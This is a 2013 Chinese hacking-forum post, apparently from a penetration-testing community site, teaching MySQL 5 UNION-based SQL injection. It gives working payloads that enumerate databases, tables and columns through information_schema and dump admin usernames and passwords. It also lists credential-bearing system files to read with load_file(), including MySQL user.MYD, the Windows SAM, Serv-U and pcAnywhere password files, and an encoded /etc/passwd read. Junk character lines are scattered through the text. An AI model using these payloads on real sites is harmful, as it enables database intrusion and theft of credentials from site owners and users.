中国网络渗透测试联盟
标题:
mysql5.0注入原理
[打印本页]
作者:
admin
时间:
2013-3-7 13:24
标题:
mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
) D9 F* I2 f( s$ {2 q6 y; m' s( ~( o9 W
9 Z/ @$ m) N. q, h
8 a; O% l+ W! {1 s% r! a/ R4 d
+ \' y) J: x" Y* N S, d; t. m1 T
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
8 Q1 {/ p2 G( q9 ^ L
中记录了Mysql中所有
, L8 [$ I" [2 ?. L- T
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
: v! g, `5 J0 i6 c% o" D8 z( S
明。
2 w9 x/ T9 r& t" I
1.得到所有数据库名:
. c) ?( A6 p9 k0 p& J9 ~9 P; w
|SCHEMATA ->存储数据库名的表
' p' S9 }4 F( K* K- n' Z% _
|—字段:SCHEMA_NAME ->数据库名称
' H. v+ m. y* S, F# T' j
0 u8 V. O/ P1 ^9 ]) D
|TABLES ->存储表名
) a4 g- {& {8 B+ o9 [& k; t
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ A! Z4 v/ x; v
|—字段:TABLE_NAME ->存储表的表名
& h% ?$ k; V4 l2 t9 u" o: d
% O5 ]9 T4 k# a$ w% u& H* j
|COLUMNS ->存储的字段名表
; C9 T5 g* F: O! c J' O; Q
|—字段:TABLE_SCHEMA ->该字段所属数据库名
! Y0 F- u2 K2 O0 l3 [
|—字段:TABLE_NAME ->存储所属表的名称
, K7 A4 ~$ z" ^2 L- P5 b8 s
% Q/ ?# v( R2 }6 c+ m) G7 L
|—字段:COLUMN_NAME ->该字段的名称
$ w' H) _' f- e3 l0 {; u
1 _) M3 Y1 z8 _3 i
#########################################################################
5 e% }. F! R+ e; E p# j
##
$ }. s. y7 A7 y) P1 M+ ?3 q
8 J7 e y$ ?5 U
0×001 获取系统信息:
( ~8 M* Z o% H, @
- Q: m* s" }" i, n4 N- F
union select 1,2,3,4,5,concat
: S1 c- c7 \$ a. E2 D
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
% N& L' `: y' x7 X A4 L* K
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
, |; k1 N7 _0 z3 _
7 @ c' I8 }+ g {: Y; r4 ^
/*
) h- o8 ^: V, k: W
/ p; G- I# e. A& Q( |
@@global.version_compile_os 获取系统版本
, t0 y) _* n3 ?8 L
. }6 L9 I: \! C" }7 \
@@datadir 数据库路径
- N! F6 A) q5 w
database() 当前数据库名称
0 @. V h1 u, M
0x3c62723e 换行HEX值
5 m5 R% A: R. P4 f8 a! A( Z9 U& o1 O u
' l6 i) x7 ~) L9 U( ]6 k$ W) Z# N
*/
# H% K& Z& l" }; n! m5 g
. k$ Q, S/ H& G( C3 Z# [& c4 s8 G( D
######################################################################
- _! j2 u# a4 u7 S) d
7 V, u- t; ]3 O- s& X' z9 x$ E
0×002 获取表名
1 v4 F5 G+ d- f1 P- E& t4 _$ m" q
( P) P$ `2 J6 b
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
0 P; N) t) H. ]% P# {
information_schema.tables where table_schema=0x67617264656e /*
V1 v* j+ O" d2 Z
; z/ s+ D: u. L; `, L& H; K, V, _
/*
9 w9 _7 R; x2 C# A
) ?- H" ]1 A$ w8 l4 q- [! s
0x67617264656e 为当前数据库名
9 s% D: I% d5 g% {8 ~ I
" j; E" d7 [8 N& C1 c$ Z
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
" P |" p$ |" L* i8 L- l: x
( t% J, n0 p! s! ^5 [
*/
) q Q2 K1 I6 `& X
) m2 S0 I; J3 G, N' B
######################################################################
9 E& S4 U7 I5 _$ `2 M
Y& a' R/ Z5 X
0×003 获取字段
# a8 e1 m0 w7 a+ u0 ]; U( b3 |
8 I* Z1 X0 l6 \+ f2 G! {: R
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
! r$ K4 T( L9 L
information_schema.columns where table_name=0x61646d696e and
7 ^% t8 F2 \- W) \1 L4 y" O) K
9 ?* L3 l9 h/ c( X4 Z: p" V
# h4 a- o4 O5 o6 I, ?& e: C
table_schema=0x67617264656e limit 1 /*
$ O" [8 }. G2 T# y, S5 G# q
, n Q5 l& h* A, R. R
/*
0 q6 L2 ~3 D7 R0 i7 |, g9 |$ e
" U) ]' j7 ?' G
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
5 N9 R, }8 M v& ]3 Z8 U" ?
0 m0 J) R! }$ F6 v6 p
0x61646d696e ->选择一个表
% j1 [. r3 ?. M b
5 _6 Y! _$ f! A& D% c
0x67617264656e ->数据库名
/ X3 s. D+ y5 u8 h
4 D N h- B8 z, k
*/
# \6 c' S/ U6 r1 v. ?
- I/ b2 _( D8 _1 ~' s) A- o3 s1 B9 h
#####################################################################
# \3 F1 e" D3 O5 g, o
1 _: I' K/ H7 H' a+ Y0 |+ K9 k
0×004 获取数据
x; r; P; x/ o
/ R" ?: O3 N, ?; L. ]0 R1 L3 u
union select 1,2,3
6 r1 j: i- P0 `2 m$ z8 f0 O
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 D! j. B: g" s
: k9 N6 U# M" w( i
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
, {1 q% t4 N I" s! X! H. K
(adpassword),6,7,8 from admin
+ X0 U. Z9 w7 `! H
* p* S5 i* C& u1 r) x- m$ k L
/*
) Z: ~1 A- W+ o$ B1 p4 h5 o
6 z5 u+ x4 z3 `7 h# g; b p
0x3c62723e 换行符号HEX编码
1 Z; D: e; M( }
* R2 @! M" ?) v2 `/ `2 p
group_concat 同时获得该字段所有数据
! v# W, f! K# ^+ x- p
/ }6 R# s3 R% J& d
*/
2 n( v4 H) Q5 X. k3 O; M$ W: U, i
( O% {" M" |8 R8 V9 h
% j$ i' E: M5 D
& }# K# V1 d7 `+ }0 L& o0 Y4 _
F) q& @ s4 k$ C# |% `9 a
' |. D3 X9 L o+ r- \
顺便添加一些mysql注入时非常有用的一些东西
: _! N, W* _) b$ H
1 w% N+ q/ I% J8 ~7 b1 [
简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
0 E5 g$ t/ N: q. r' a% V% Q
" `: F, P. E6 G) K8 E1 z
1:system_user() 系统用户名
4 B, E, j9 m6 T2 C! f9 e0 H
2:user() 用户名
) Z4 M' H3 M. y0 q
3:current_user() 当前用户名
6 q2 X* ~9 i, U6 h6 _
4:session_user()连接数据库的用户名
; {% x+ `% s+ ]# z7 V. C0 u6 [
5:database() 数据库名
# l3 `. |8 @1 y% i6 F% b
6:version() MYSQL数据库版本
& o1 h4 {6 H) W6 W2 D8 N/ E
7:load_file() MYSQL读取本地文件的函数
# Z: M& U, z! k: G" j$ x& f
8
@datadir 读取数据库路径
. n: d% ]; l* E0 z4 h
9
@basedir MYSQL 安装路径
( P2 h6 U2 r& U, |9 n& {
10
@version_compile_os 操作系统 Windows Server 2003,
$ w4 `, F7 h6 [5 n, q
收集的一些路径:
& j% N8 J }- c3 T5 {
WINDOWS下:
2 G9 _5 K/ ?) E1 Y1 A
c:/boot.ini //查看系统版本
5 g% r2 s9 }8 q9 b0 ` q
c:/windows/php.ini //php配置信息
0 F( Q1 @/ d* _& {0 N) z5 i1 B
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
5 R0 [- ?4 _+ V, j( g8 U: }* D
c:/winnt/php.ini
% J: t8 g7 \5 {3 D8 a# L
c:/winnt/my.ini
; }3 ?' t+ |$ u ]$ k, X: Q6 ]: Y# G
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
3 ]! @7 m9 V) D
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
# C; x: `$ Y/ @ T' E! @. S1 n2 \& z
c:\Program Files\Serv-U\ServUDaemon.ini
2 h' P [ t# ~! f" _- x
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
4 ^8 `6 W, q( p! \1 c5 H( T y
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
5 k6 w! U5 g4 T# e9 O
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
4 P/ p% i$ Z4 u3 ]- F
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
" i( A3 L9 {) }& v" G
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
& G, a( _4 v6 o8 `6 X5 `6 {
//存储了pcAnywhere的登陆密码
2 }6 h* G6 f: j
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
/ t% @, W- B8 X1 R P3 {7 d6 j
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
$ K$ r. e( ?- w
K8 q/ u( j8 G0 d& O( E3 W
$ B. J( u; U% o/ K! {; z3 G( K
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
( u/ Z) [5 E5 k: {0 H5 O4 f% x
d:\APACHE\Apache2\conf\httpd.conf
+ `" [: o9 a4 ?, W( U
C:\Program Files\mysql\my.ini
5 m2 R B2 M g6 F& c8 r- z! |
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
1 v1 q9 j+ O/ N; F! b
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
. e6 @. T" h/ A4 p
, J0 r' v! o" x0 a7 Y7 S H
LUNIX/UNIX下:
' g. P0 Q# F7 N4 x+ c& E
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
1 h2 z( |. ]- ^7 D, Z
/usr/local/apache2/conf/httpd.conf
* A. X$ y2 @+ F9 S! [
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 X7 k+ t4 P# n/ L
/usr/local/app/php5/lib/php.ini //PHP相关设置
+ K, s8 f1 w* t% N$ s
/etc/sysconfig/iptables //从中得到防火墙规则策略
7 d& [9 w4 A8 l5 V
/etc/httpd/conf/httpd.conf // apache配置文件
- j+ z. ? C( U* [, O0 r b
/etc/rsyncd.conf //同步程序配置文件
! U9 U" k; S( R+ D6 u. I
/etc/my.cnf //mysql的配置文件
4 u6 Q( S) ?. \* }1 ]
/etc/redhat-release //系统版本
! a# j4 x% _; B/ k. c* [2 K
/etc/issue
6 Y$ H3 }9 N/ X
/etc/issue.net
: q" u! i- u: i) q" @7 V7 c+ u
/usr/local/app/php5/lib/php.ini //PHP相关设置
, d( S! L" ?% a4 X
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
& |+ o% K- Y6 U( T, o- h% `
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
7 W Z, a& w6 p& k
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
% S+ q% ]9 A" Y8 e
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
+ h. y( U9 G$ ^2 e
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
3 N. E1 k% Y3 l
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 S q/ Q2 v6 R; s( j
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
& N" n7 ~3 i/ s) m9 N; \
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
' `; {: B, a+ S+ v0 h: ]
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
4 o Q* V0 @2 P
/etc/sysconfig/iptables 查看防火墙策略
( \5 r+ l h7 p5 b
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
0 p7 d/ @1 ?% l. O: b- r
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
$ v# a) B8 r% H$ [4 \3 L
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
/ F5 I9 j: x5 j0 g
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
& Z7 k6 L- ^2 w* j- j- f9 t8 t7 V
- {' `0 J4 k0 a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2